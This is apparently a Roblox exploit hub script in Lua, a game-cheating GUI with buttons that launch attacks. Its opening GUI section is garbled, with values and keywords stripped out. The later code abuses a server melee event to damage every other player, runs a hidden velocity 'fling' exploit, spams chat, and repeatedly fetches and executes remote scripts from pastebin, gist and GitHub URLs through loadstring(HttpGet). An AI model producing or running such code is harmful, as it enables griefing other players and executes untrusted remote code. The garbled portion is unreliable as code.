button_46.Parent = fds
button_46.BackgroundColor3 = .(, , )
button_46.BorderColor3 = .(, , )
button_46.BorderSizePixel =
button_46.Position = .(, , , )
button_46.Size = .(, , , )
button_46.Font = .Font.SourceSans
button_46.Text =
button_46.TextColor3 = .(, , )
button_46.TextSize =
btools.Name =
btools.Parent = page2
btools.BackgroundColor3 = .(, , )
btools.BorderColor3 = .(, , )
btools.BorderSizePixel =
btools.Position = .(, , , )
btools.Size = .(, , , )
sectitle_6.Name =
sectitle_6.Parent = btools
sectitle_6.BackgroundColor3 = .(, , )
sectitle_6.BorderColor3 = .(, , )
sectitle_6.BorderSizePixel =
sectitle_6.Size = .(, , , )
sectitle_6.Font = .Font.SourceSansBold
sectitle_6.Text =
sectitle_6.TextColor3 = .(, , )
sectitle_6.TextSize =
button_47.Name =
button_47.Parent = btools
button_47.BackgroundColor3 = .(, , )
button_47.BorderColor3 = .(, , )
button_47.BorderSizePixel =
button_47.Position = .(, , , )
button_47.Size = .(, , , )
button_47.Font = .Font.SourceSans
button_47.Text =
button_47.TextColor3 = .(, , )
button_47.TextSize =
button_48.Name =
button_48.Parent = btools
button_48.BackgroundColor3 = .(, , )
button_48.BorderColor3 = .(, , )
button_48.BorderSizePixel =
button_48.Position = .(, , , )
button_48.Size = .(, , , )
button_48.Font = .Font.SourceSans
button_48.Text =
button_48.TextColor3 = .(, , )
button_48.TextSize =
button_49.Name =
button_49.Parent = btools
button_49.BackgroundColor3 = .(, , )
button_49.BorderColor3 = .(, , )
button_49.BorderSizePixel =
button_49.Position = .(, , , )
button_49.Size = .(, , , )
button_49.Font = .Font.SourceSans
button_49.Text =
button_49.TextColor3 = .(, , )
button_49.TextSize =
button_50.Name =
button_50.Parent = btools
button_50.BackgroundColor3 = .(, , )
button_50.BorderColor3 = .(, , )
button_50.BorderSizePixel =
button_50.Position = .(, , , )
button_50.Size = .(, , , )
button_50.Font = .Font.SourceSans
button_50.Text =
button_50.TextColor3 = .(, , )
button_50.TextSize =
button_51.Name =
button_51.Parent = btools
button_51.BackgroundColor3 = .(, , )
button_51.BorderColor3 = .(, , )
button_51.BorderSizePixel =
button_51.Position = .(, , , )
button_51.Size = .(, , , )
button_51.Font = .Font.SourceSans
button_51.Text =
button_51.TextColor3 = .(, , )
button_51.TextSize =
button_52.Name =
button_52.Parent = btools
button_52.BackgroundColor3 = .(, , )
button_52.BorderColor3 = .(, , )
button_52.BorderSizePixel =
button_52.Position = .(, , , )
button_52.Size = .(, , , )
button_52.Font = .Font.SourceSans
button_52.Text =
button_52.TextColor3 = .(, , )
button_52.TextSize =
button_53.Name =
button_53.Parent = btools
button_53.BackgroundColor3 = .(, , )
button_53.BorderColor3 = .(, , )
button_53.BorderSizePixel =
button_53.Position = .(, , , )
button_53.Size = .(, , , )
button_53.Font = .Font.SourceSans
button_53.Text =
button_53.TextColor3 = .(, , )
button_53.TextSize =
button_54.Name =
button_54.Parent = btools
button_54.BackgroundColor3 = .(, , )
button_54.BorderColor3 = .(, , )
button_54.BorderSizePixel =
button_54.Position = .(, , , )
button_54.Size = .(, , , )
button_54.Font = .Font.SourceSans
button_54.Text =
button_54.TextColor3 = .(, , )
button_54.TextSize =
button_55.Name =
button_55.Parent = btools
button_55.BackgroundColor3 = .(, , )
button_55.BorderColor3 = .(, , )
button_55.BorderSizePixel =
button_55.Position = .(, , , )
button_55.Size = .(, , , )
button_55.Font = .Font.SourceSans
button_55.Text =
button_55.TextColor3 = .(, , )
button_55.TextSize =
button_56.Name =
button_56.Parent = btools
button_56.BackgroundColor3 = .(, , )
button_56.BorderColor3 = .(, , )
button_56.BorderSizePixel =
button_56.Position = .(, , , )
button_56.Size = .(, , , )
button_56.Font = .Font.SourceSans
button_56.Text =
button_56.TextColor3 = .(, , )
button_56.TextSize =
button_57.Name =
button_57.Parent = btools
button_57.BackgroundColor3 = .(, , )
button_57.BorderColor3 = .(, , )
button_57.BorderSizePixel =
button_57.Position = .(, , , )
button_57.Size = .(, , , )
button_57.ZIndex =
button_57.Font = .Font.SourceSans
button_57.Text =
button_57.TextColor3 = .(, , )
button_57.TextSize =
pgname_3.Name =
pgname_3.Parent = page2
pgname_3.BackgroundColor3 = .(, , )
pgname_3.BorderColor3 = .(, , )
pgname_3.BorderSizePixel =
pgname_3.LayoutOrder =
pgname_3.Position = .(-, , , )
pgname_3.Size = .(, , , )
pgname_3.ZIndex =
pgname_3.Font = .Font.SourceSansBold
pgname_3.Text =
pgname_3.TextColor3 = .(, , )
pgname_3.TextSize =
page4.Name =
page4.Parent = main
page4.BackgroundColor3 = .(, , )
page4.BorderColor3 = .(, , )
page4.BorderSizePixel =
page4.Position = .(, , , )
page4.Size = .(, , , )
page4.Visible =
pres.Name =
pres.Parent = page4
pres.BackgroundColor3 = .(, , )
pres.BorderColor3 = .(, , )
pres.BorderSizePixel =
pres.Size = .(, , , )
sectitle_7.Name =
sectitle_7.Parent = pres
sectitle_7.BackgroundColor3 = .(, , )
sectitle_7.BorderColor3 = .(, , )
sectitle_7.BorderSizePixel =
sectitle_7.Size = .(, , , )
sectitle_7.Font = .Font.SourceSansBold
sectitle_7.Text =
sectitle_7.TextColor3 = .(, , )
sectitle_7.TextSize =
sectitle_7.TextWrapped =
button_58.Name =
button_58.Parent = pres
button_58.BackgroundColor3 = .(, , )
button_58.BorderColor3 = .(, , )
button_58.BorderSizePixel =
button_58.Position = .(, , , )
button_58.Size = .(, , , )
button_58.Font = .Font.SourceSans
button_58.Text =
button_58.TextColor3 = .(, , )
button_58.TextSize =
button_59.Name =
button_59.Parent = pres
button_59.BackgroundColor3 = .(, , )
button_59.BorderColor3 = .(, , )
button_59.BorderSizePixel =
button_59.Position = .(, , , )
button_59.Size = .(, , , )
button_59.Font = .Font.SourceSans
button_59.Text =
button_59.TextColor3 = .(, , )
button_59.TextSize =
button_60.Name =
button_60.Parent = pres
button_60.BackgroundColor3 = .(, , )
button_60.BorderColor3 = .(, , )
button_60.BorderSizePixel =
button_60.Position = .(, , , )
button_60.Size = .(, , , )
button_60.Font = .Font.SourceSans
button_60.Text =
button_60.TextColor3 = .(, , )
button_60.TextSize =
button_61.Name =
button_61.Parent = pres
button_61.BackgroundColor3 = .(, , )
button_61.BorderColor3 = .(, , )
button_61.BorderSizePixel =
button_61.Position = .(, , , )
button_61.Size = .(, , , )
button_61.Font = .Font.SourceSans
button_61.Text =
button_61.TextColor3 = .(, , )
button_61.TextSize =
button_62.Name =
button_62.Parent = pres
button_62.BackgroundColor3 = .(, , )
button_62.BorderColor3 = .(, , )
button_62.BorderSizePixel =
button_62.Position = .(, , , )
button_62.Size = .(, , , )
button_62.Font = .Font.SourceSans
button_62.Text =
button_62.TextColor3 = .(, , )
button_62.TextSize =
button_63.Name =
button_63.Parent = pres
button_63.BackgroundColor3 = .(, , )
button_63.BorderColor3 = .(, , )
button_63.BorderSizePixel =
button_63.Position = .(, , , )
button_63.Size = .(, , , )
button_63.Font = .Font.SourceSans
button_63.Text =
button_63.TextColor3 = .(, , )
button_63.TextSize =
creds.Name =
creds.Parent = page4
creds.BackgroundColor3 = .(, , )
creds.BorderColor3 = .(, , )
creds.BorderSizePixel =
creds.Position = .(, , , )
creds.Size = .(, , , )
credits.Name =
credits.Parent = creds
credits.BackgroundColor3 = .(, , )
credits.BorderColor3 = .(, , )
credits.BorderSizePixel =
credits.Size = .(, , , )
credits.Font = .Font.SourceSans
credits.Text =
credits.TextColor3 = .(, , )
credits.TextSize =
credits.TextWrapped =
pgname_4.Name =
pgname_4.Parent = page4
pgname_4.BackgroundColor3 = .(, , )
pgname_4.BorderColor3 = .(, , )
pgname_4.BorderSizePixel =
pgname_4.LayoutOrder =
pgname_4.Position = .(-, , , )
pgname_4.Size = .(, , , )
pgname_4.ZIndex =
pgname_4.Font = .Font.SourceSansBold
pgname_4.Text =
pgname_4.TextColor3 = .(, , )
pgname_4.TextSize =
()
= .(, cope)
main = .Parent.Parent.main
settings = .Parent.Parent.settings
close = .Parent
close.MouseButton1Down:(()
close.Text ==
main.Visible =
settings.Visible =
close.Text =
close.Text ==
main.Visible =
settings.Visible =
close.Text =
)
.(NYNRIT_fake_script)()
()
= .(, fps)
label = .Parent
RunService = :()
RunService.RenderStepped:((frame)
label.Text = ..(.(/frame))
)
.(VGZZVRN_fake_script)()
()
= .(, size)
label = .Parent
RunService = :()
label.Text = ..(:().NumPlayers)
()
.(IYAH_fake_script)()
()
= .(, time)
label = .Parent
RunService = :()
label.Text = ..(:().DistributedGameTime)
()
.(PDUUVHM_fake_script)()
()
= .(, checkrfe)
label = .Parent
:().RespectFilteringEnabled ==
label.Text =
label.Text =
.(UJXVVWH_fake_script)()
()
= .(, sbutton)
sbutton = .Parent
addon = .Parent.Parent
sbutton.MouseButton1Down:(()
sbutton.Text ==
sbutton.Visible =
sbutton.Text =
addon.Position = .(-, , , )
sbutton.Visible =
sbutton.Text =
addon.Position = .(, , , )
)
.(BVMU_fake_script)()
()
= .(, left)
right = .Parent
one = .Parent.Parent.page1
two = .Parent.Parent.page2
three = .Parent.Parent.page3
four = .Parent.Parent.page4
right.MouseButton1Down:(()
three.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
four.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
one.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
two.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
)
.(YRGW_fake_script)()
()
= .(, right)
right = .Parent
one = .Parent.Parent.page1
two = .Parent.Parent.page2
three = .Parent.Parent.page3
four = .Parent.Parent.page4
right.MouseButton1Down:(()
one.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
two.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
three.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
four.Visible ==
one.Visible =
two.Visible =
three.Visible =
four.Visible =
)
.(UBUJB_fake_script)()
()
= .(, button)
button = .Parent
button.MouseButton1Down:(()
duration =
:().RespectFilteringEnabled
sounds = {}
i,v (Game:())
v:()
.(sounds,v)
con = Game.DescendantAdded:((v)
v:()
.(sounds,v)
)
()
start = .(())
i,v (sounds)
v:()
v.TimePosition = .(,v.TimeLength * )/
.()
.(()) == start + duration
con:()
i,v (sounds)
v:()
)
.(GQMYFIM_fake_script)()
()
= .(, button_2)
button = .Parent
button.MouseButton1Down:(()
p = .Players.LocalPlayer.Character
weld = .(,p.Torso)
weld.Part0 = p.Torso
train = .(,p.Torso)
train.Anchored =
train.CanCollide =
train.Size = .(,,)
train.CustomPhysicalProperties = PhysicalProperties.(,,,,)
weld.Part1 = train
weld.C1 = .(,,) * .(,.(),)
train.Anchored =
TrainMesh = .(,train)
TrainMesh.MeshType = .MeshType.FileMesh
TrainMesh.Scale = .(,,)
TrainMesh.MeshId =
TrainMesh.TextureId =
weld2 = .(,p.Torso)
weld2.Part0 = p.Torso
Smoke = .(,p.Torso)
Smoke.Anchored = true
Smoke.CanCollide = false
Smoke.Size = Vector3.new(1,1,1)
Smoke.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
weld2.Part1 = Smoke
weld2.C1 = CFrame.new(0,-4,3.5)-- * CFrame.Angles(0,math.rad(180),0)
Smoke.Anchored = false
Smoke.Transparency = 1;
local Particle = Instance.new("ParticleEmitter",Smoke)
Particle.Rate = 50;
Particle.Speed = NumberRange.new(30,60);
Particle.VelocitySpread = 4;
Particle.Texture = "rbxassetid://133619974"
local Light = Instance.new("SpotLight",train)
Light.Angle = 45;
Light.Brightness = 100;
Light.Face = Enum.NormalId.Back;
Light.Range = 30;
spawn(function()
while p.Humanoid.Health ~= 0 do
p.Humanoid.WalkSpeed = 60;
wait();
end
end)
for i,v in pairs(p:GetChildren()) do
if v:IsA("Part") then
v.Transparency = 1;
elseif v:IsA("Hat") then
v:Destroy()
elseif v:IsA("Model") then
v:Destroy()
end
end
local function SFX(id) local s=Instance.new("Sound",p.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
local Debounce = false
train.Touched:connect(function(p)
if Debounce == false then
Debounce = true
if p.Parent then
if p.Parent:IsA("Model") then
if game.Players:FindFirstChild(p.Parent.Name) then
if p.Parent.Name ~= game.Players.LocalPlayer.Name then
spawn(function()
for i, plr in pairs(game.Players:GetChildren()) do
if plr.Name ~= game.Players.LocalPlayer.Name then
for i = 1, 10 do
game.ReplicatedStorage.meleeEvent:FireServer(plr)
end
end
end
end)
local Whistle = SFX(475073913)
Whistle:Play()
end
end
end
end
wait()
Debounce = false
end
end)
local Music = SFX(190819252)
Music.Looped = true;
wait(1)
Music:Play();
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end)
end
coroutine.wrap(OEFDAQK_fake_script)()
local function WSOLZXR_fake_script() -- button_3.LocalScript
local script = Instance.new('LocalScript', button_3)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/KdVq9EHW",true))()
end)
end
coroutine.wrap(WSOLZXR_fake_script)()
local function KORGM_fake_script() -- button_4.LocalScript
local script = Instance.new('LocalScript', button_4)
local button = script.Parent
button.MouseButton1Down:connect(function()
-- Lyrics
local lyrics = {
"Spooky Scary Skeletons",
"Send shivers down your spine",
"Shrieking skulls will shock your soul",
"Seal your doom tonight",
"Spooky Scary Skeletons",
"Speak with such a screech",
"You'll shake and shudder in surprise",
"When you hear these zombies shriek",
"We're so sorry skeletons",
"You're so misunderstood",
"You only want to socialize",
"But i don't think we should",
"Cause spooky scary skeletons",
"Shout startling shrilly screams",
"They'll sneak from their sarcophagus",
"And just won't leave you be.",
}
-- Chat function
local function singLyrics()
for _, lyric in ipairs(lyrics) do
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(lyric, "All")
wait(2.5) -- Adjust the delay as desired
end
end
-- Start singing
singLyrics()
end)
end
coroutine.wrap(KORGM_fake_script)()
local function ZTWGZ_fake_script() -- button_5.LocalScript
local script = Instance.new('LocalScript', button_5)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Nameless-Admin-FE-11243"))();
end)
end
coroutine.wrap(ZTWGZ_fake_script)()
local function PKXRUA_fake_script() -- button_6.LocalScript
local script = Instance.new('LocalScript', button_6)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
end)
end
coroutine.wrap(PKXRUA_fake_script)()
local function EKIXV_fake_script() -- button_7.LocalScript
local script = Instance.new('LocalScript', button_7)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/spamer/main/spamererm'))()
end)
end
coroutine.wrap(EKIXV_fake_script)()
local function TBTPQ_fake_script() -- button_8.LocalScript
local script = Instance.new('LocalScript', button_8)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://rawscripts.net/raw/OpFinality_590'))()
end)
end
coroutine.wrap(TBTPQ_fake_script)()
local function XHAG_fake_script() -- button_9.LocalScript
local script = Instance.new('LocalScript', button_9)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/5d8a45ea83d64db757182c7fae4caeae/raw/27d5fe5866fc61208fead93a7caeeb854f1c1be4/Illuminati%2520Laser%2520Fling",true))()
end)
end
coroutine.wrap(XHAG_fake_script)()
local function DXFTXQ_fake_script() -- button_10.LocalScript
local script = Instance.new('LocalScript', button_10)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/ScriptHub"))()
end)
end
coroutine.wrap(DXFTXQ_fake_script)()
local function FJHJF_fake_script() -- button_11.LocalScript
local script = Instance.new('LocalScript', button_11)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/c1c6ad86b743343aca463a0963c028a5/raw/cb40c5b77119cb52b60428dc3e112a4b479fc258/qipu's%2520Executor%2520(fixed)"))()
end)
end
coroutine.wrap(FJHJF_fake_script)()
local function RTGO_fake_script() -- button_12.LocalScript
local script = Instance.new('LocalScript', button_12)
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/7c4d164bd1a2726d5e352547c3f98052/raw/77332837d2d6669f50b191a5ecc90da7f6e6690e/Energize"))()
end)
end
coroutine.wrap(RTGO_fake_script)()
local function WXHMD_fake_script() -- button_13.LocalScript
local script = Instance.new('LocalScript', button_13)
local button = script.Parent
button.MouseButton1Down:connect(function()
wait(0.001);
--------------------------------------------------------------------------------------
_clear=function()
local c={char;bag;gui;};
for i=1,#c do
local c=c[i]:children();
for i=1,#c do
if(c[i].Name==name)then
c[i].Parent=nil;
end;
end;
end;
local n=name..user.Name;
local c=workspace:children();
for i=1,#c do
if(c[i].Name==n)then
c[i].Parent=nil;
end;
end;
end;
_valid_key=function(object,key)
return object[key],key;
end;
_new=function(class)
return function(props)
if(type(list_base_props)=='table')then
for i,v in next,list_base_props do
if(props[i]==nil)then
props[i]=v;
end;
end;
end;
local object=class;
if(type(class)=='string')then
object=Instance.new(class:sub(1,1):upper()..class:sub(2));
end;
local parent=props[1];
props[1]=nil;
for i,v in next,props do
local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
if(not load)then
load,res,key=pcall(_valid_key,object,i);
end;
if(key)then
t=type(res);
s=tostring(res);
if(t=='userdata'and s=='Signal '..key)then
if(type(v)=='table')then
for i=1,#v do
res:connect(v[i]);
end;
else
res:connect(v);
end;
else
object[key]=v;
end;
end;
end;
if(parent)then
object.Parent=parent;
end;
return object;
end;
end;
_RGB=function(r,g,b)
return Color3.new(r/255,g/255,b/255);
end;
_copy=function(o)
local def=o.archivable;
o.archivable=true;
local c=o:clone();
o.archivable=def;
return c;
end;
_hum=function(char)
local hum=char:findFirstChild'Humanoid';
if(not hum or hum.className~='Humanoid')then
local c=char:children();
for i=1,#c do
if(c[i].className=='Humanoid')then
return c[i];
end;
end;
else
return hum;
end;
end;
_hum_tag=function(hum)
local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
c.Name='creator';
c.Value=user;
if(hum.Health==0 and not hum:findFirstChild'killed')then
Instance.new('BoolValue',hum).Name='killed';
bullets.clip=bullets.clip+10;
end;
end;
_hum_dam=function(hum,dam,percent)
hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
if(hum.Health<=hum.MaxHealth*0.1)then
_hum_tag(hum);
end;
end;
_ray=function(v0,v1,i)
local mag=(v0-v1).magnitude;
local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
end;
_must=function(v0,v1,i)
local hit,pos=_ray(v0,v1,i);
return not hit and mouse.target or hit,pos;
end;
_cframe=function(x,y,z,r0,r1,r2)
return CFrame.Angles(
math.rad(r0 or 0),
math.rad(r1 or 0),
math.rad(r2 or 0)
)*CFrame.new(x,y,z);
end;
_update=function()
if(bool_active and not screen.Parent)then
screen.Parent=gui;
elseif(not bool_active and screen.Parent)then
screen.Parent=nil;
end;
end;
_light=function(v0,v1)
local mag=(v0-v1).magnitude;
local len=math.random(2,7);
len=len>mag/2 and mag/2 or len;
local light=_new'part'{
cFrame=CFrame.new(v0,v1);
size=Vector3.new(1,1,1);
color=_RGB(255,255,0);
anchored=true;
inv;
};
_new'blockMesh'{
scale=Vector3.new(0.2,0.2,len);
offset=Vector3.new(0,0,-len/2);
light;
};
local bb=_new'billboardGui'{
size=UDim2.new(2,0,2,0);
adornee=light;
light;
};
_new'imageLabel'{
image=url:format(109101526);
backgroundTransparency=1;
size=UDim2.new(1,0,1,0);
bb;
};
_rem(light,0.15);
end;
_rem=function(object,del)
if(del)then
delay(del,function()
if(object.Parent)then
object.Parent=nil;
end;
end);
else
pcall(function()
if(object.Parent)then
object.Parent=nil;
end;
end);
end;
end;
_blood=function(pos,count)
for i=1,count do
local p=_new'part'{
rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
position=pos+Vector3.new(math.random(),math.random(),math.random());
velocity=Vector3.new(math.random(),math.random(),math.random())*50;
size=Vector3.new(math.random(),math.random(),math.random())/3;
color=_RGB(255,0,0);
transparency=0.5;
canCollide=true;
bottomSurface=0;
topSurface=0;
formFactor=3;
locked=true;
inv;
};
delay(5,function()
p.Parent=nil;
end);
end;
end;
_make_hue=function()
h_hue=_new'part'{
size=Vector3.new(0.25,1.8,0.35);
color=_RGB(100,100,100);
formFactor=3;
name='hue';
handle;
};
hh_weld=_new'weld'{
c1=_cframe(0,0.5,0);
part0=handle;
part1=h_hue;
handle;
};
end;
_shot=function(v0,v1)
if(not time_left)then
time_left=0;
end;
if(time_left>time())then
return nil;
else
time_left=time()+math.random(1,10)/100;
end;
if(bullets.current<1)then
local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
soundId='rbxasset://sounds/SWITCH3.wav';
name='tick_sound';
volume=0.2;
pitch=2;
head;
};
tick_sound:play();
if(bullets.clip>0)then
time_left=time()+2;
h_hue:breakJoints();
h_hue.CanCollide=true;
h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
_rem(h_hue,10);
delay(1.9,function()
_make_hue();
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
end);
end;
return nil;
else
bullets.current=bullets.current-1;
h_weld.C1=_cframe(0,0.75,0,
-math.random(1000,1100)/10,180,0);
d_weld.C1=_cframe(0,-0.25,0.3);
lightstuff.Visible=true;
delay(0.1,function()
lightstuff.Visible=false;
end);
_rem(_new'part'{
velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
size=Vector3.new(0.1,0.1,0.4);
color=_RGB(200,200,0);
material='Slate';
canCollide=true;
formFactor=3;
inv;
},5);
delay(0.1,function()
d_weld.C1=_cframe(0,-0.25,0);
if(bool_active)then
h_weld.C1=h_weld_cf_active;
end;
end)
end;
local hit,pos=_must(v0,v1,char);
shot_sound:play();
_light(v0,v1);
if(not hit)then return nil;end;
if(hit.Parent.className=='Hat')then
hit:breakJoints();
hit.CanCollide=true;
hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
else
local hum=_hum(hit.Parent);
if(not hum)then
if(hit.Anchored==false and hit.Size.magnitude<4)then
end;
else
_blood(pos,math.random(3,6));
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
if(hit.Name=='Head')then
_blood(pos,math.random(3,6));
delay(0.001,function()
_new(workspace:FindFirstChild'head_shot'or'sound'){
pitch=math.random(70,100)*0.01;
soundId=url:format(1876552);
name='head_shot';
workspace;
}:play();
end);
_hum_tag(hum);
_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
color=torso.Color;
transparency=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},30);
hit.Parent=nil;
for b=0,1 do
for a=0,1 do
for i=0,1 do
_rem(_new'part'{
velocity=CFrame.new(v0,pos).lookVector*20;
cFrame=hit.CFrame*CFrame.new(i,-b,a);
size=Vector3.new(0.5,0.5,0.5);
color=_RGB(255,255,255);
bottomSurface=0;
canCollide=true;
transparency=0;
formFactor=3;
topSurface=0;
hum;
},30);
end;
end;
end;
end;
end;
end;
end;
----------------------------------------------------------------------------------------
_cf_select=function(mouse)
mouse.Icon=url:format(109111387);--108999296
bool_active=true;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
h_weld.Part0=arm;
h_weld.C1=h_weld_cf_active;
weld.Part1=nil;
weld.Part0=nil;
weld=_new(torso:findFirstChild'right_arml'or'weld'){
name='right_arml';
part0=torso;
part1=arm;
torso;
};
arml=(arml or 0)+1;
local alv=arml;
local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
gyro.P=30000;
gyro.D=1000;
gyro.Name='p_gyro';
repeat
local pos=mouse.hit.p;
local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
val=-math.pi*0.5;
valp=val*-1;
p0=torso.CFrame;
p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
p1=p0+((p0.p-pos).unit*-2);
p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
hitpos=torso.Position;
cj=CFrame.new(hitpos);
c0=torso.CFrame:inverse()*cj;
c1=p2:inverse()*cj;
weld.C0=c0;
weld.C1=c1;
gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
wait(0.001);
until arml~=alv;
gyro.Parent=nil;
end;
end;
_cf_deselect=function()
bool_active=false;
arml=(arml or 0)+1;
loop_shot=(loop_shot or 0)+1;
h_weld.Part0=torso;
h_weld.C1=h_weld_cf_inactive;
local weld=torso:findFirstChild'right_arml';
if(weld)then
weld.Part1=nil;
weld.Part0=nil;
end;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
weld.Part0=torso;
weld.Part1=arm;
end;
end;
_cf_mouse=function(event,fun)
mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
if(bool_active)then
fun(...);
end;
end);
end;
----------------------------------------------------------------------------------------
do
local main=getfenv(0);
local c=game:children();
local check=function(v)
if(v.className~=''and v.className~='Instance'and game:service(v.className))then
main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
end;
end;
for i=1,#c do
pcall(check,c[i]);
end;
end;
----------------------------------------------------------------------------------------
bullets={
maximum=51111111111111111111111111110;
current=511111111111111111111111111111110;
clip=501111111111111111111111111111111*4;
};
list_base_props={
backgroundColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
borderSizePixel=0;
color=_RGB(0,0,0);
archivable=false;
canCollide=false;
bottomSurface=0;
topSurface=0;
formFactor=0;
locked=true;
};
----------------------------------------------------------------------------------------
user=players.localPlayer;
mouse=user:getMouse();
char=user.Character;
gui=user.PlayerGui;
bag=user.Backpack;
torso=char.Torso;
head=char.Head;
hum=_hum(char);
url='rbxassetid://%d';
name='dev-uzi';
h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
0,90,-70);
h_weld_cf_active=_cframe(0,0.75,0,
-110,180,0);
assert(hum,'humanoid is not found');
----------------------------------------------------------------------------------------
_clear();
----------------------------------------------------------------------------------------
_cf_mouse('button1Down',function()
loop_shot=(loop_shot or 0)+1;
local vers=loop_shot;
local step=runService.Stepped;
repeat
_shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
step:wait();--wait(0.001);
until vers~=loop_shot;
end);
_cf_mouse('button1Up',function()
loop_shot=(loop_shot or 0)+1;
end);
_cf_mouse('move',function()
cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
end);
_cf_mouse('keyDown',function(k)
if(k=='r')then
if(bullets.clip>0 and time_left<=time())then
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
if(got~=0)then
time_left=time()+2;
end;
end;
end;
end);
----------------------------------------------------------------------------------------
screen=_new'screenGui'{
name=name;
};
cross_f=_new'frame'{
size=UDim2.new(0,21,0,21);
backgroundTransparency=1;
screen;
};
for i=0,1 do
_new'frame'{
position=UDim2.new(0,13*i,0,11);
size=UDim2.new(0,10,0,1);
cross_f;
};
end;
for i=0,1 do
_new'frame'{
position=UDim2.new(0,11,0,13*i);
size=UDim2.new(0,1,0,10);
cross_f;
};
end;
----------------------------------------------------------------------------------------
shot_sound=_new(head:findFirstChild'2920959'or'sound'){
soundId=url:format(2920959);
pitch=1.4;
head;
};
if(shot_sound.Name~='2920959')then
shot_sound.Name='2920959';
shot_sound:play();
end;
bin=_new'hopperBin'{
deselected=_cf_deselect;
selected=_cf_select;
name=name;
bag;
};
inv=_new'model'{
name=name;
char;
};
handle=_new'part'{
